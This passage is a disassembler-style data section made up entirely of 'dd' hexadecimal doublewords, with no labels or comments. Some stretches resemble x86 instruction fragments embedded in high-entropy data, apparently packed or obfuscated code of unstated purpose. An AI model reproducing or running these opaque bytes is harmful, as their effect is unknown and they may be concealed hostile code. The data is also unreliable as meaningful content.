		dd 183E8C00h, 84698BAh,	163488AAh, 0F4192B8h, 183C89AFh
		dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh
		dd 0D88D097Ch, 435616B7h, 0E470BD1Fh, 0FB51E4C6h, 0E0C27DDBh
		dd 97B90351h, 13370646h, 0D2C8AC2h, 4CBh, 0C8BEA3B1h, 53E6CCEBh
		dd 9F2968F9h, 8EADB960h, 0AABBDA16h, 8A9AFB5Bh,	0A8A8370Ah
		dd 2B27B599h, 8AD7FB1Ah, 2B657BCAh, 0F41EA78Eh,	0C673557h
		dd 0F4CF5AADh, 73000001h, 1670E5C2h, 0DF109DB5h, 7CD736BEh
		dd 92109DB5h, 5D902F57h, 1687AEC0h, 5039BE09h, 529CDCFh
		dd 3F684764h, 11F8DC24h, 1D2FB901h, 0C0E2C08Ch,	328EDF6Dh
		dd 4F704F37h, 31D8CF68h, 569E6428h, 74995AB7h, 6FE22310h
		dd 79F79F39h, 0E8BA9756h, 62000009h, 0FE2482D4h, 1E04A2ACh
		dd 0C0E2C08Ah, 0DFC1E16Fh, 71A40252h, 54004DBEh, 4E045476h
		dd 53F54A70h, 50FC4D73h, 0F7666972h, 16B7D99Bh,	0BD112D64h
		dd 0DFC3E06Ch, 2F6EFF4Fh, 0B5015D90h, 4BCA109Dh, 4DE0E281h
		dd 77A86EFFh, 0F9480053h, 0ABA53698h, 17717B9Ah, 0EF5DF0A2h
		dd 0EAA573CFh, 3C0DA341h, 31000001h, 0C3E06CBDh, 300151DFh
		dd 765807D1h, 4D4969E3h, 20557214h, 168EA2C5h, 3499CBEh
		dd 5C09D332h, 79D92839h, 0D00A8A9Eh, 0D531A483h, 9E0A8A9Dh
		dd 430B5B7Fh, 0BF4993F2h, 0F52224Ah, 0B345AADh,	0E18E2082h
		dd 88D9FD10h, 20A5FCC4h, 0B9000000h, 0EBC8BEA3h, 8E989B7Ah
		dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0B2715Ah
		dd 0C2C50000h, 320351E0h, 76C709D3h, 83D1F9D6h,	0D51F7ECFh
		dd 0AFA53416h, 2329BC9Eh, 0AF9D3012h, 0E888DC0Fh, 1DB0109Dh
		dd 3AA7902Fh, 0F53FDE70h, 0A7C684D8h, 0EAFF3F1Dh, 3ACE3F9Ch
		dd 371687BFh, 0F6CEF9D6h, 0EB3A0A0Dh, 3317448Ch, 2A10AEA6h
		dd 8AC4B99Bh, 93800EF7h, 8B9F9D4h, 45910000h, 3F8FB111h
		dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h,	7F5FF544h
		dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B7DAh
		dd 0E5C21A44h, 9DB51670h, 236C4710h, 0D4EAFEB0h, 9CBE0687h
		dd 81A7074Dh, 43075930h, 0FE2C93F2h, 4274065Ah,	419F3F5Eh
		dd 51E06CBDh, 5370DC6Dh, 3CB1DF6Fh, 109DB4E2h, 0C10B6AABh
		dd 2A1B493h, 0A31A0000h, 7AEBC8BEh, 1687B039h, 4F704FCEh
		dd 5D80368h, 2756B378h,	0A82CDABh, 70FF4FDFh, 0B544A32Dh
		dd 0A82CE55h, 5D90AFACh, 0A82CE01h, 7814BCAh, 0F38A4A72h
		dd 4F325AA4h, 8000002h,	9DB51770h, 52342D10h, 0AF970075h
		dd 163C1687h, 0BB2A89C3h, 0A83995Fh, 2784E528h,	5E231F08h
		dd 668968F5h, 63E97C5Eh, 80CC5D43h, 20B092B1h, 0C6DDD6Fh
		dd 0A814DC3Dh, 77E6C5C1h, 1073B31Ah, 6EDE6F53h,	71C10966h
		dd 6C0D8CDDh, 0F6B87FF9h, 0D8F5B479h, 7B3h, 0AB0B4B97h
		dd 0B9193585h, 0A5054597h, 0BE1C3483h, 0A7074D9Ch, 352BB74h
		dd 14F7151h, 0FC4F7151h, 0F94C6E4Ch, 69667353h,	0B7DB9AF4h
		dd 142E6316h, 0FF4DE0C2h, 75DB6C6Eh, 378ACC14h,	0AF024415h
		dd 4CC6CC9Dh, 9AB203AFh, 0EAD0A03Ch, 0A378A341h, 0DE000001h
		dd 0C3E06CBDh, 6EFF4FDFh, 0FD07882Fh, 71056D09h, 83D6F867h
		dd 0B4ADE9C9h, 0F5CB0B0Ch, 7C1D19C1h, 0E57B785Fh, 0FC62149Dh
		dd 0E2C96C19h, 0A8306DAEh, 0D5FF3AABh, 588168Eh, 0F381734h
		dd 609BAF69h, 87037250h, 500A8AB4h, 0F256E9CDh,	0B43B9BEAh
		dd 0F8920A8Ah, 199B5983h, 55435AADh, 17000000h,	0EBC8BEA3h
		dd 8E989B7Ah, 18296C16h, 2A4143Bh, 4660985Ch, 708F0F7Eh
		dd 0F9E60A8Ah, 712BA7D6h, 0F1640A8Ah, 0A8A7095h, 0ED303F5Eh
		dd 71439FCEh, 890C0A8Ah, 8334C53Fh, 70D531A4h, 0C19E0A8Ah
		dd 8A70D24Ch, 1B7A9B0Ah, 564B09D1h, 0C3F35AADh,	47000000h
		dd 14FE0C2h, 84495B7h, 0C6C81539h, 17A5435Fh, 83D2B321h
		dd 0F5EEE3Fh, 990C7ACBh, 0BD65833Bh, 88A70465h,	9E87F955h
		dd 7943C210h, 0A1C4285Bh, 79CC109Eh, 50CBF4D3h,	0D735BCDAh
		dd 13D1BA5h, 66F7E0E8h,	4094AA23h, 44BB1746h, 61EF109Eh
		dd 122160F1h, 0C03592F3h, 1688A32Ch, 0E8C7E429h, 1190FFBFh
		dd 0BD0729D3h, 0A8064E9Bh, 2C213382h, 800EF7D6h, 301530F7h
		dd 1A000006h, 62C8ACCh,	163C9AB4h, 82A88C2h, 173999B7h
		dd 0F92C8ACAh, 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh
		dd 7FEEF1FAh, 16B7DE23h, 0BD89B5ECh, 0E3C7E470h, 656AFB53h
		dd 0BD3A36E2h, 687011D6h, 57F5486Ah, 6CBDD977h,	6BFC8B1Dh
		dd 543554E5h, 0DB6FC105h, 0B6A0B8Ah, 5A8BACh, 0C9109DB5h
		dd 80D26244h, 0D98850B1h, 0CAE864F5h, 16EFh, 6CBD5300h
		dd 0DC6D51E0h, 46EE170h, 0C28ADB87h, 27C5E4h, 0BD690000h
		dd 57B3226Ch, 20109DB5h, 0C286D9FDh, 0E26392A3h, 0C3109DB4h
		dd 1235E257h, 9DB567E3h, 0E3ED3010h, 0CEEC60F1h, 70E5C274h
		dd 109DB516h, 2436BEDFh, 8EAABB91h, 0B3943353h,	4312428Fh
		dd 4BB7C1FCh, 4223A5B3h, 16AC0B7Ah, 86A91688h, 2A3B11A4h
		dd 207AEBh, 0DEE90A84h,	0F86F8699h, 0FB3D2FBh, 5CBD8CBCh
		dd 19B6D794h, 0EACA031h, 14B3992Ch, 2BB59F2Eh, 1D6980BCh
		dd 0D4474FBEh, 0E528106Dh, 0FB51E4C6h, 0E864F5DBh, 0BD065B59h
		dd 0BE8C206Fh, 0AB0F6EAFh, 0E627361Eh, 98B52887h, 0E10A5A9Fh
		dd 0C4E66AF9h, 0C5B8D96Fh, 73DDBB67h, 0F498B574h, 56000004h
		dd 4A704E08h, 527856F8h, 4C6E4CFEh, 537555FBh, 3D704E06h
		dd 84C99F2h, 1A3888AAh,	74196BCh, 1C3081A7h, 3BAAB5BEh
		dd 16B7DEDFh, 0BDCD71A8h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h
		dd 8C109DB4h, 0C7183A09h, 3859B889h, 0BF094396h, 2E1EAF91h
		dd 3418A991h, 8DDCE425h, 76DC6C4Eh, 73D96C6Eh, 1DAE1CE2h
		dd 94F5486Ah, 0DA3B0A40h, 8E1F31BBh, 0AB3921BEh, 6D7796A7h
		dd 0FC714E6Fh, 109DB4A2h, 3AA22A6Bh, 0A341EA7Ah, 67E2h
		dd 0BEA37800h, 99CCEBC8h, 109DB53Dh, 95238706h,	0B72633BDh
		dd 168EFBE2h, 22E5240Bh, 2F5CB627h, 0E0250A8Ah
		dd 0BA1BBBBh, 0C2E124C1h, 0E06CBDE5h, 5A1EAEBBh, 25AF101Bh
		dd 56E5A033h, 0C83B9BFAh, 0A89C64Ch, 0DB37A689h, 0A40A89C5h
		dd 5EEA3D61h, 14468E0Fh, 62C8BC1h, 4ACB9AB4h, 0D96E5482h
		dd 3DE6Fh, 5F000004h, 51E06CBDh, 4EFC5072h, 4569EFFh, 0FB3B9BB1h
		dd 0D203A0E6h, 168EA397h, 0F9DEFD20h, 59ECBE2Bh, 61F5CCF3h
		dd 0FD8CDBE5h, 0A8A2F9Dh, 0FB219AF4h, 5AAD9D3Dh, 44A5h
		dd 0C1143600h, 0A397418Bh, 7AEBC8BEh, 168E989Bh, 7AD4666Ch
		dd 0C793BC1Bh, 0F8141E2h, 0FFDC8B55h, 0F8C088DBh, 89B60989h
		dd 9526600Ah, 0ADEBA967h, 0DA674B5Ah, 152B727Ah, 8C000001h
		dd 0F20C16A3h, 767E635Ch, 226CBDECh, 0C4413CFDh, 89F82ADAh
		dd 109E9B0Dh, 0F9D6B7D6h, 7DCC80D1h, 3115D41Ch,	3413B0A4h
		dd 0C495BF0Eh, 9ABA1445h, 283109Eh, 9AD630A5h, 7E9F109Eh
		dd 82D3F776h, 75C5EDCAh, 0BF0988D9h, 0C18B1E20h, 96FE72E1h
		dd 476B109Eh, 880958F8h, 0D3BB0E40h, 9E9628A2h,	0CDACF110h
		dd 39E1C9EEh, 0AEBF9122h, 0F38A486Fh, 41103C8Dh, 3917A1C0h
		dd 0B786C617h, 0B9167079h, 4191B996h, 0ACDD3C0Dh, 109DCE32h
		dd 0B3529AFBh, 168E9F66h, 6318E0Fh, 3895636Fh, 104E9612h
		dd 0EADD910h, 749963DFh, 8A296C10h, 9B3B19A8h, 392C28B5h
		dd 79FBA29Dh, 0CC3A17D6h, 7E000002h, 0A2882630h, 0BAA03E10h
		dd 0A4862426h, 0BB9D3D13h, 9588262Eh, 70E4719Ah, 72E07052h
		dd 6FD96E54h, 74D8694Fh, 13428D56h, 16B7E0B7h, 0BD352980h
		dd 0E3C7E470h, 0E1EFF951h, 1DE6EBFh, 128C01DEh,	0DB109DB5h
		dd 0B54FCBBAh, 3218109Dh, 61A0B1A3h, 409AB800h,	0EBC8BEA3h
		dd 8E989B7Ah, 4B636C16h, 7076C5F2h, 0D5243554h,	0A8AA175h
		dd 0A3C942CCh, 5AAD06D5h, 0BC7Dh, 6CBDE100h, 0E06D51E0h
		dd 2094E574h, 88109DB1h, 8FB81735h, 0B1C9D737h,	8DCB15EEh
		dd 95321AABh, 52C743B2h, 4F90109Dh, 9D52C41Eh, 69088D10h
		dd 0BDA4005Fh, 2E7BEAC9h, 0D7168E24h, 64F5B4F0h, 0B6036208h
		dd 2F4ECF9Eh, 3930704Eh, 22FF6E4Dh, 5B107441h, 0D968E877h
		dd 52B330B8h, 8E004D75h, 2B528ABEh, 0F0CEAFC5h,	0A4D97BCAh
		dd 79FAD91Ch, 0DCAFAA41h, 6E000001h, 725876E0h,	6A506EE0h
		dd 745674D6h, 6B4D6DE3h, 655876DEh, 4014A1CAh, 62F04062h
		dd 7FC95E44h, 64E8795Fh, 23527D46h, 16B7E1A7h, 0BD053970h
		dd 0E4C6E470h, 0FADBFB51h, 0DB0A86D8h, 109DB57Fh, 1CA4C548h
		dd 0E06CBDC2h, 70DC6D51h, 6FDD7052h, 0BF796750h, 0ADA61D9Bh
		dd 4C94B809h, 3C4A9F9Dh, 1A1B6E9Fh, 7194168Fh, 34DDEE0h
		dd 93C11032h, 0E7648EC2h, 0C3A2AA3Bh, 5C0683EDh, 23318009h
		dd 5F436442h, 2127BCCFh, 4890F140h, 0EFD3F5ECh,	3D5CED5Dh
		dd 8B15D24Ch, 1B7A9B0Ah, 0C4696BCh, 0F36697C4h,	0AC107BE6h
		dd 63F6D869h, 8B0758E9h, 0D36149EEh, 25AFEE7Fh,	19B6D019h
		dd 68B671E4h, 0CCEB2A0Ah, 0F3FD57E6h, 1772C3E5h, 57B687C7h
		dd 21B19936h, 0F3FD1C2Dh, 4BFD5274h, 0C684D8FAh, 4B035377h
		dd 0C987D8FAh, 1CB61978h, 3D22B69Fh, 0B46FEB1Ah, 0D538FE64h
		dd 0B40B87F6h, 0B1D4FE64h, 0B66CDD27h, 7BD56623h, 0ECCAABEAh
		dd 0B90EB5ACh, 0E9D1EE8Fh, 4AC4395Bh, 13FE64B4h, 80C293F2h
		dd 79432230h, 0A1D4295Ch, 24D0455h, 3009800Bh, 79319688h
		dd 0EB6587C9h, 193D0C6Dh, 9FB584C8h, 0D50CDC6Dh, 800E94EBh
		dd 0A8C91011h, 0E4A7DA0Bh, 0FD20FE41h, 0FE88E1DDh, 0DAA2ACE1h
		dd 0A8BF827h, 0A6361C3Bh, 9F3224ACh, 67F658EAh,	0E978D063h
		dd 0BA8C9A8h, 59F39927h, 3396B3CFh, 418F5938h, 0EF7ECE5Fh
		dd 0D760329Eh, 16388A2Dh, 0D2B00347h, 0CD848688h, 0DD6C0DA5h
		dd 371E9B35h, 0A55DEE24h, 0B89A3814h, 34162725h, 0C89CADA3h
		dd 6E1CAF93h, 56DBA3FFh, 48296CA9h, 698CD2F9h, 9E033888h
		dd 1E9BF5FFh, 4B6BE174h, 0E978D465h, 0AECh, 5E7B5200h
		dd 0D667ED7Ch, 0BDB32DB7h, 7254E571h, 0FADC6DDFh, 7052E365h
		dd 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h,	0BC9EAF9Bh
		dd 2215242Ah, 2D7368h, 24048900h, 405E089h, 83000000h
		dd 48704E8h, 89525C24h,	4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2434895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 0BE240C89h
		dd 69387259h, 69A0B850h, 0C6316F22h, 0C8B5458h,	4C48324h
		dd 0CFB850h, 600D6004h,	0D18A36Ch, 2CB10EFDh, 0B76EF735h
		dd 89C8017Ch, 34FF5830h, 0C4835924h, 24348B04h,	81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 0F95123E9h, 115658FFh, 0CD32DEAEh
		dd 0B5F1D6FBh, 0B86AF7BFh, 61A2FB2h, 0E0FFC503h, 5BA8D0FFh
		dd 4630B462h, 6197CED1h, 55ED9D5h, 9CB53CBh, 31098D8Dh
		dd 0D18B061Ah, 1BBD8D89h, 10E90613h, 26000000h,	411B4F3Dh
		dd 56D4EAA4h, 0CE257EB5h, 0C7E952B6h, 1318DD85h, 647806h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 9B5DBF9Bh, 31F5B58Bh, 85C70613h,	6133055h
		dd 0
		dd 19399509h, 0B5FF0613h, 6132831h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 1C35646h, 0FFFC6D72h, 131D8995h
		dd 0ADF5BB06h, 858B5817h, 6130179h, 95FF006Ah, 6130DA9h
		dd 2FEBC08Bh, 0D3208B03h, 3BE387BBh, 0D1744846h, 0A20C5CF7h
		dd 71DF4B38h, 0B5673192h, 93A797D5h, 23BE7238h,	5DAA8455h
		dd 4EE81B58h, 0CC88268Ch, 0E89E1DC3h, 0Dh, 2E1A1648h, 8B64F9E2h
		dd 0BABB48B3h, 6FB86693h, 85035F02h, 6131CD5h, 6607C781h
		dd 44B20000h, 0DB81F62Bh, 7A6A73FBh, 0F370C8Bh,	1484h
		dd 0E800F00h, 0E9000000h, 9, 10D554A1h,	812647C7h, 0C9C181B2h
		dd 890D09D6h, 132C7195h, 89E98106h, 8032B57Dh, 0E9812BE3h
		dd 49657A4Eh, 51C7B70Fh, 8FDF8B66h, 0C28B3704h,	1EE83F8h
		dd 2491858Bh, 4E4E0613h, 9995894Eh, 8106132Ch, 0FF9A9CFEh
		dd 0E850FFFh, 66000000h, 14E9DA8Bh, 0D000000h, 5AC2D53Eh
		dd 0DEEC80C9h, 0FFFF87E9h, 5DCE9AFFh, 8DF7CE14h, 1A32AB8Dh
		dd 0BF66F506h, 8D89A34Dh, 6131BBDh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 60C35242h, 8BCC6942h, 131E4185h
		dd 0DD85C706h, 61318h, 6A00006Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 364C353h
		dd 1D9DBD8Bh, 8B600613h, 13094DB5h, 0BD896106h,	61321A9h
		dd 305585C7h, 613h, 8D890000h, 6131EFDh, 0ED5B5FFh, 81660613h
		dd 0FF7AFCE2h, 131D8995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 4BAAE299h
		dd 8DA9FAE1h, 13A19D29h, 6A0613h, 0DA995FFh, 0C08B0613h
		dd 446B0FEBh, 0E2912059h, 0A6AEE932h, 49058F38h, 2FE979h
		dd 7CD80000h, 3072h, 0Ah dup(0)
		dd 557E900h, 1C680000h,	0E9061A34h, 0FFF94E60h,	1A34D968h
		dd 4E56E906h, 3E68FFF9h, 0E9061A36h, 0FFF94E4Ch, 0EFCF87D3h
		dd 0F5D579C9h, 0E9C981D3h, 0FAD878C7h, 0EBCB89D8h, 0C71677B8h
		dd 0BD0B2D8Dh, 0C0133595h, 0B5082A88h, 252A3797h, 0B7E856B0h
		dd 580A1F16h, 55E470BDh, 4E6CE071h, 506F1752h, 0C67506Fh
		dd 0DAA2104Fh, 26CD4938h, 0B101109Eh, 854FCE9Dh, 8F138B06h
		dd 4ADEC416h, 61ED3Dh, 0CDEA2BB8h, 0D8FA56E5h, 6302CA88h
		dd 8B11B412h, 0A7F0B0Ah, 0ACB712E2h, 379BA5Ah, 3A1D0000h
		dd 8B064FCBh, 0EBF5180Ah, 0D5DFB971h, 61F05CEDh, 459C9820h
		dd 72F36241h, 0F3168EA5h, 0D5972BCCh, 4999117Eh, 0F5C6405h
		dd 84D57DCBh, 0A836405h, 0E7E50E03h, 3E942C35h,	453DD6E8h
		dd 0ECCBE889h, 5A1373C6h, 4030B63Dh, 2B6AFB9Ah,	834F62A1h
		dd 0C5481315h, 55313874h, 59320776h, 3C1B0D02h,	0BA8BC516h
		dd 44B02A5Bh, 147900FEh, 0E1FE1FCCh, 0C6E468F9h, 673551E4h
		dd 0C3FD9DC4h, 36B5A8C9h, 47768531h, 377A5A0h, 8DD90000h
		dd 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh
		dd 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h
		dd 3516B7E9h, 0BEA382DCh, 0CB9AB605h, 77D5684Ah, 0BB8EB916h
		dd 924351F7h, 0DD104D97h, 16884245h, 0CA5E4986h, 76B33E18h
		dd 0DAE43E2Fh, 0AAAD0A83h, 83DADF3Bh, 465A80Ah,	0DADC36A7h
		dd 60A50A83h, 2B80A201h, 3CD4C1Dh, 0D4CEF9D6h, 0C46748DAh
		dd 0C11D506Fh, 8A0A8410h, 428FC10Bh, 10A52154h,	2F6E0A84h
		dd 0FB4A704Eh, 70557A59h, 0F8D6A87Dh, 2362B736h, 415D917Ch
		dd 0EF7ECA5Dh, 36C726AEh, 0E948BAD5h, 0D588C415h, 800B1920h
		dd 0BA93CE5Dh, 96000002h, 8AB00E48h, 92B81638h,	8CAE0C3Eh
		dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch
		dd 5CF04167h, 0FB6A757Eh, 16B7E89Fh, 0A30D3168h, 7AEBC8BEh
		dd 168786E4h, 2051E025h, 0A8381A2h, 88FDDAF9h, 0A83820Eh
		dd 81BC1647h, 850A83h, 800AD233h, 2B13E10Bh, 0D0BB5AA4h
		dd 9F000001h, 0C3E06CBDh, 4ADFCDCh, 57611081h, 0D973C608h
		dd 0E2A4BDF9h, 0EF5590C5h, 0BFDE168Eh, 3689B1AEh, 0E0C24312h
		dd 94F3FD4Bh, 0A8AEB36h, 6488018Dh, 5AACD094h, 693Ch, 0DDC22200h
		dd 0EDE4A91Ch, 0D7E3ED90h, 0F8D7F492h, 0B52CA6D7h, 0F065109Dh
		dd 109DB496h, 0EC313E5Fh, 76D592C7h, 666EEA64h,	8F0E2627h
		dd 0F2436716h, 428A0B5Ah, 0A0D160A5h, 0A8AFE22h, 0EE7FC95Eh
		dd 0B92E5AECh, 0E84F4F58h, 7357E687h, 4C4669E1h, 93FFC6AFh
		dd 0FF6E51F6h, 0A8BA9A3h, 379F296Ch, 5AAC1F79h,	0BAE1h
		dd 6CBD7500h, 4D7251E0h, 0BCF6530Eh, 0BC9E26D3h, 3416272Dh
		dd 0B89AABA1h, 0A2882725h, 5A784012h, 9E2D892Bh, 94B80910h
		dd 8B811037h, 0C7234D93h, 17BC7B12h, 18A08336h,	0A4351D3Ah
		dd 0CD1420A8h, 55EB1AB9h, 5216885Dh, 1FAE9433h,	73D7A16Fh
		dd 93F25FF0h, 94C00D33h, 0F6B3EE1h, 85C06780h, 155h, 0C7E76FFBh
		dd 0DDFD51E1h, 0C1E169FBh, 0A20050DFh, 83233180h, 0DF6E9F90h
		dd 0E5735575h, 0D86B4D6Dh, 0DD705270h, 5D824F6Fh, 0B7EAAE28h
		dd 40227716h, 0C7E470BDh, 0F47E24E0h, 8628E3AAh, 0CC4D1C36h
		dd 61F4D604h, 0C5EACBEBh, 409D2367h, 6572C8F0h,	48797358h
		dd 0BDC58F59h, 6D51E06Ch, 66BFAADCh, 0F30FE74Dh, 0E3123592h
		dd 109E8667h, 78C9ED30h, 0F1CE0CD4h, 0BD579C9h,	0EFCCBAAFh
		dd 247EEFD0h, 0ED109E86h, 865DB9A8h, 0E726109Eh, 988D00DDh
		dd 51168FCCh, 0EFD0EFCCh, 8B36247Eh, 3A8ED0Ah, 0DC363CDAh
		dd 9CBE0669h, 82A8074Dh, 97F36232h, 600A8ADBh, 46945C3Dh
		dd 8ADBB717h, 0EA62F30Ah, 0FD57E6CCh, 8B716Ch, 0A3CD0000h
		dd 159502BEh, 9ACB3873h, 0EDA9DCFBh, 3616885Ch,	614986D7h
		dd 0A8DBAD4h, 0A6F8347Bh, 8ADBFDC7h, 6BBEE4C2h,	0E12150E1h
		dd 2E20DC89h, 4A9B47C4h, 9C83A402h, 9ACBBB59h, 0D41C1740h
		dd 0EC1F8409h, 0BE9623BCh, 0E56DFBDFh, 0A9AB3554h, 21253418h
		dd 0E068FB92h, 398E3051h, 0BEDF3E0Fh, 9E84B9AFh, 2C2E3F09h
		dd 0F4D3B298h, 1C490581h, 854FCED4h, 71C46E0Bh,	26EFEE15h
		dd 6100D4D6h, 7ECE5F41h, 3F2EFh, 7B500000h, 0E571BDE1h
		dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
		dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 68243489h
		dd 322Fh, 81240C89h, 4ECh, 241C8900h, 3E456850h, 48B4F3Fh
		dd 4C48124h, 2D000000h,	18F812F2h, 521B130Dh, 5E8C10Ah
		dd 27793C05h, 58C18904h, 241C8B54h, 5104C483h, 49E4B951h
		dd 4C2908ECh, 8F590424h, 43810843h, 0EC49E408h,	241C8B08h
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8950240Ch
		dd 405E0h, 0C0830000h, 24048704h, 4922E95Ch, 9267FFF9h
		dd 0ACBA8A97h, 0A692826h, 0D04C790Dh, 37B8B80Eh, 0C503061Ah
		dd 8B79E0FFh, 0FEFA2290h, 0F61100FAh, 864A0A1Ch, 0AA7D5E52h
		dd 34A44610h, 83264612h, 7B907FECh, 0D8311DD0h,	0B9952EA5h
		dd 5A8238E7h, 0CCB37A66h, 0E39107B4h, 5F1356BBh, 0BE2C1D25h
		dd 231E041Dh, 0FE8697Ah, 3A000000h, 58F508EEh, 98115843h
		dd 9940E536h, 0B9669F4Dh, 6058B74Ah, 0B86657B5h, 8161BD6Ch
		dd 5DC4C0h, 0AE900h, 128B0000h,	67CDE644h, 3558D701h, 1736BAh
		dd 0CF8B6600h, 606030FFh, 60D88B66h, 9E96161h, 50000000h
		dd 383D947h, 7CC2EF7Ch,	0B70F5B61h, 2EEB81F0h, 66167C9Eh
		dd 0F381F88Bh, 2FF76063h, 0DE816056h, 764D8602h, 0FE9h
		dd 95A09B00h, 8608892Bh, 0B7A60756h, 84021AB2h,	0C3815961h
		dd 1B9AA022h, 8E8h, 4D8DFF00h, 0CF04124Bh, 68F0F36h, 81000000h
		dd 0D596E7D9h, 18895F0Dh, 2C820Fh, 11E80000h, 7F000000h
		dd 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 10E9h
		dd 0AEA0AE00h, 0D678F6BFh, 65A8E040h, 392856D1h, 0E8835F78h
		dd 0F4AF804h, 0FFFF5785h, 9E9FFh, 4A340000h, 0DF8ED402h
		dd 0E8815C9Ah, 0Ch, 2A333B5Eh, 0BE00ECE3h, 8A23C21h, 45C88166h
		dd 8E0F5E66h, 2, 0C68118B4h, 66D1h, 5E8h, 7A8E4900h, 8166F491h
		dd 5842A0D7h, 0ECA420BAh, 5EF28133h, 6633ECBDh,	0FFAAD6BFh
		dd 13E936h, 0FE060000h,	7AC95546h, 27C1DD12h, 906537Ch
		dd 99CB7383h, 66565BF6h, 8159C38Bh, 0F19D5FC3h,	0BE95372h
		dd 0EA000000h, 0F6103E4Eh, 73CF675Bh, 815FBC57h, 0DCFD0BC3h
		dd 2810F67h, 8B000000h,	1FEB81CFh, 0E9011165h, 14h, 8296026Ch
		dd 7FB625F6h, 0B1FD6769h, 5CE07409h, 0A879C07h,	0DE953h
		dd 82670000h, 0E6EFE05Dh, 0FC199376h, 8FABC20Ch, 0CDE58006h
		dd 7E68EE81h, 6EBF10AAh, 812A27C8h, 0AA7E64C6h,	5ED18110h
		dd 4A32E0C2h, 0FF65850Fh, 0BF0FFFFFh, 11E8C0h, 8B460000h
		dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 0B65927D4h, 0F38B59A0h
		dd 5C49C181h, 680000h, 0E8000000h, 9, 0DC3315EBh, 0A5D28C1Ah
		dd 36CE80DCh, 810F5F5Eh, 3, 8B55C480h, 890F391Ch, 5, 0D5D88166h
		dd 0C6EB81C0h, 0E84D78B6h, 5, 7491FAF9h, 0C3815E48h, 608332F9h
		dd 40F381F8h, 6671DAC4h, 42DED081h, 0E9391C89h,	0Fh, 7D90628Ch
		dd 98063022h
		dd 0E3650215h, 8389C4D1h, 0B70F04EFh, 78FF81D1h, 0FFFFFA4h
		dd 1485h, 21F68100h, 0E90B126Ch, 23h, 9036DDB9h, 3B0711E1h
		dd 0F08166AAh, 88E9A0BBh, 85FFFFFFh, 0A8AD757Eh, 4D58FF08h
		dd 0BEDD3168h, 8B7CBF74h, 25BD83C0h, 61316h, 0BD830975h
		dd 6132C81h, 50197400h,	0B8C08B53h, 421h, 0D7D8589h, 9D8D0613h
		dd 615A97Dh, 585BD3FFh,	2C81BD83h, 74000613h, 0B8535017h
		dd 421h, 0D7D8589h, 9D8D0613h, 615A66Ch, 585BD3FFh, 9D8BC08Bh
		dd 6130BB9h, 11E185C6h,	68560613h, 9CA8B852h, 1EE9B5FFh
		dd 858D0613h, 6167C33h,	46AD0FFh, 100068h, 25B5FF00h, 6A061317h
		dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0
		dd 75338D8Dh, 0E1FF0613h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 2DBD83D3h, 6132Ah, 0E840Fh, 9D8B0000h, 6132A2Dh, 0BF1858Bh
		dd 3890613h, 858D5251h,	61343ECh, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 11E185C6h, 68560613h, 0D41F6D39h, 1EE9B5FFh
		dd 858D0613h, 6167C33h,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 19740006h
		dd 0C08B5350h, 421B8h, 15858900h, 8D061331h, 15A9E49Dh
		dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 421B8h, 15858900h
		dd 8D061331h, 15A6859Dh, 5BD3FF06h, 8DC08B58h, 132A2D9Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 0Bh, 7C550BADh, 2E4DEEF9h, 664EA313h, 596843B8h
		dd 8150C480h, 67B5C1h, 68FC00h,	80000000h, 8B5A42CBh, 0A34FFFBh
		dd 0F5EC68Ah, 178Ch, 0B2B96000h, 0E847F7A5h, 0Ah, 0C6EED06Ch
		dd 0AE64D6F4h, 615A39FBh, 0E606C681h, 0FD8A5081h, 0F873C681h
		dd 815124F5h, 9002A0D3h, 0C6815F09h, 18C44EFCh,	804AE081h
		dd 66560C64h, 342BE881h, 6611048Fh, 816CC8BFh, 0FB82B4EAh
		dd 0B0C28162h, 5262FB82h, 0CE9h, 42427B00h, 0DFAD6283h
		dd 93FE1D63h, 0FA8158C1h, 0FFFF992Ch, 1E850Fh, 880F0000h
		dd 5, 8FD38166h, 33E97Bh, 810B0000h, 0E51ECEDDh, 0BFEA91F8h
		dd 8FE626D2h, 5860F60h,	0B8000000h, 4B056FFCh, 0FF53E961h
		dd 2244FFFFh, 4FBA7F71h, 0F388535Eh, 0BA98D58Ch, 0AC336552h
		dd 9E889h, 16A60000h, 0E15B28F8h, 5F3A2FEAh, 81F4ED80h
		dd 0E284C7h, 14E900h, 0A6B40000h, 5B28F816h, 3A2FEAE1h
		dd 6043E021h, 0F2CC6942h, 71689B79h, 8B000038h,	0C5805AC8h
